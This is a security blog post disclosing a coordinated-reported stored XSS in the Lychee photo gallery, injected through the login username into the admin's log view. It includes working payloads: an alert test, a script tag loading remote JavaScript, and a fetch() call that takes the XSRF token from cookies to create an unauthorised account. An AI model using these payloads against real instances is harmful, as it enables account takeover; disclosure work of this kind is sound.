Cross-Site Scripting in Lychee

Posted on 22 Oct 2022 in security • 3 min read

XSS in Lychee

Lychee is a self-hosted photo-management and gallery. I am using the Lychee application for my personal usage (mostly sharing pictures with the family).

The application has been greatly improved since the last update of my instance. I fired up a docker and start taking a look at the application for new features. It was not long before I found a few XSS, one of them could allow unauthenticated users to to gain logged access to the platform by creating a new account.

I reported the issues to the project and we created a Github Security Advisory: https://github.com/LycheeOrg/Lychee-front/security/advisories/GHSA-cr79-38hg-27gv.

The lychee application create an administrator account the first time the application is browsed. This account is the only one with administrative privileges (account management, logs and diagnostics) and is expected to have full access to the underlying server (shell access). In addition, this account has access to all photos and albums uploaded by the different users.

All this privileges made this account attractive for XSS payloads and attacks. Note that the session cookie was HttpOnly and that the XSRF cookie was not, it will matter later in the exploitation phase.

Insertion points

Only the admin can create a user account while there is a few authenticated insertions points (photo and album title, username once the user changed it) they are not that interesting as the admin probably trust the new users or even does not create user accounts.

xss in album title xss in album title

I focused on unauthenticated insertion points.

Logs logs logs

The admin user has access to a "Show Logs" administrative function. I quickly noticed that authentication attempts where displayed in the logs including the user controlled user parameter.

Log injection - alert(1)

It was relatively easy to try to login as the <script>alert(1)</script> user and trigger an alert in the admin session (the screenshot below is when the user change its username but the result is the same as we inject the logs).

unauthenticated xss in album title

It is possible for an attacker to perform log injection using this entry point.

Beyond alert(1)

I wanted to go beyond an alert pop-up, we want a user account. Using the username <script src='172.0.0.1/a.js"/>, I was able to inject a longer JavaScript payload that would request the API endpoint User::create passing in POST parameters its username, password and privileges. I also retrieve the X-XSRF-TOKEN value from the cookie as it was not HttpOnly (I recommended to the team to add this flag to the XSRF cookie but that was not possible as they also needed to access it using JavaScript.)

fetch('http://172.17.0.2:80/api/User::create',{
    // create a POST request to be sent to the lychee instance located at `172.17.0.2`
    method: 'POST',
    // setup the headers
    headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        //the X-XSRF-TOKEN is retrieve from the cookie store as it is not `HttpOnly`
        'X-XSRF-TOKEN': document.cookie.split('=')[1].split('%')[0],
        'X-Requested-With': 'XMLHttpRequest',
},
    // body of the request containing the payload to create a new user with upload privileges
    body: '{"username":"xss_1","password":"xss","may_upload":true,"is_locked":false}'
})

Once the new account was created I was able to browse the application as an authenticated user and upload photos and images on the server.